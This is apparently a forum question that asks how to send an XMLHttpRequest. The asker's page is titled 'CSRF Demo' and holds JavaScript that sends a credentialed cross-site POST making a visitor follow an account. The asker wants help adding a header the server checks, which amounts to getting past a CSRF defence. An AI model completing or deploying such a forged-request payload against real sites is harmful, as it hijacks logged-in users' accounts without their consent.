title: How to send a XMLHttpRequest
body: <p>I want to send a request look like this:</p>
  
  <pre><code>POST /accounts/211242/followers HTTP/1.1
  Host: website.com
  User-Agent: &lt;user-agent&gt;
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer: https://website.com
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  Content-Length: 0
  Connection: close
  Cookie: &lt;user-cookie&gt;
  </code></pre>
  
  <p>But I don't know much about Javascript. I have  tried a lot but everything I got just an error. Can anyone create a code for me?<br>
  Here what I have tried:</p>
  
  <pre><code>&lt;html&gt;
  &lt;head&gt;
    &lt;title&gt;CSRF Demo&lt;/title&gt;
  &lt;/head&gt;  
  &lt;body&gt;
    &lt;script&gt;
      var xmlhttp = new XMLHttpRequest();
      xmlhttp.open("POST", "https://website.com/accounts/211242/followers");
      xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
      xmlhttp.withCredentials = true;
      xmlhttp.send(null);
    &lt;/script&gt;
  &lt;/body&gt;
  &lt;/html&gt;
  </code></pre>
  
  <p>And after run that code, the browser sends a request:</p>
  
  <pre><code>POST /accounts/211242/followers HTTP/1.1
  Host: website.com
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
  Accept: */*
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  Origin: null
  Connection: close
  Cache-Control: max-age=0
  Content-Length: 0
  Cookie: &lt;user-cookie&gt;
  </code></pre>
  
  <p>Which don't have 'X-Requested-With: XMLHttpRequest' so the server sends back <code>400 Bad Request</code> </p>